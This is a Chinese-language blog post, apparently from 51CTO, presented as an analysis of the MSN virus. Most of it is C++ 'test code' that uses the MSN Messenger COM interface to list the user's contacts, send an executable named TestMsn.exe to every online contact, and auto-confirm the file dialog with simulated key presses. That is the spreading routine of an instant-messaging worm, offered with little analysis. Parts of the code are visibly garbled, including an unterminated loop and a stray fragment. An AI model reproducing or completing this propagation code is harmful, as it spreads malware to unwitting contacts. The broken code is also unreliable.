一步一步解剖MSN病毒及分析原理(附测试代码)
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://redking.blog.51cto.com/27212/19936 |
前段时间网络上MSN病毒非常流行,它的原理其实很简单,HOHO!最主要的工作就是实现了操控MSN,其实这个很简单,微软早就有公开的接口让你使用,所以我在这里就不多说了,直接进入正题,HOHO!
下面是测试代码,只有通过MSN传送文件部分
CODE:
#include "stdafx.h" #include <stdio.h> #include <windows.h> #include "msgruaid.h" //这两个头文件就是接口的定义 #include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要) #include <comutil.h> int main(int argc, char* argv[])
{ IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName; IMessengerContact *MsnContact; IMessengerContacts *MsnContacts; IMessengerWindow *pIMsnWindow; __MIDL___MIDL_itf_msgrua_0000_0002 dwStatus; VARIANT vaTemp; BSTR bstrFileName; char *szOpenDlg; char szMsnWindowsClass[] = "IMWindowClass"; char szButtonText[] = "打开(&O)"; HWND hWnd = NULL, hBtn = NULL; DWORD dwControlId = 0; char szCurDir[MAX_PATH], szBuf[MAX_PATH]; CoInitialize(0); //初始化COM库
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例 pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表 pIMessenger->get_Window((IDispatch**)&pIMsnWindow); long nCount; MsnContacts->get_Count(&nCount); //得到好友数 for (int i = 0; i < nCount; i++) { MsnContacts->Item(i, (IDispatch**)&MsnContact); MsnContact->get_SigninName(&pbstrName); //账号 MsnContact->get_FriendlyName(&bstrFriendName); //签名 szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName); MsnContact->get_Status(&dwStatus); if (dwStatus == MISTATUS_ONLINE) //判断是否在线 { GetCurrentDirectory(MAX_PATH, szCurDir); lstrcat(szCurDir, "\\"); lstrcat(szCurDir, "TestMsn.exe"); lstrcpy(szBuf, "发送文件给 "); lstrcat(szBuf, szOpenDlg); bstrFileName = _com_util::ConvertStringToBSTR(szCurDir); vaTemp.vt = VT_BSTR; vaTemp.bstrVal = pbstrName; pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件 do { hWnd = FindWindow(NULL,szBuf); hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText); & hBtn)); dwControlId <<= 16; dwControlId |= 1; PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn)); keybd_event(VK_RETURN, 0, 0, 0); keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0); } MsnContact->Release(); MsnContacts->Release(); pIMessenger->Release(); //释放相关资源 CoUninitialize(); ExitProcess(0); return 0; } 本文出自 “大唐网络” 博客,请务必保留此出处http://redking.blog.51cto.com/27212/19936 本文出自 51CTO.COM技术博客 |



redking
博客统计信息
热门文章
最新评论
友情链接

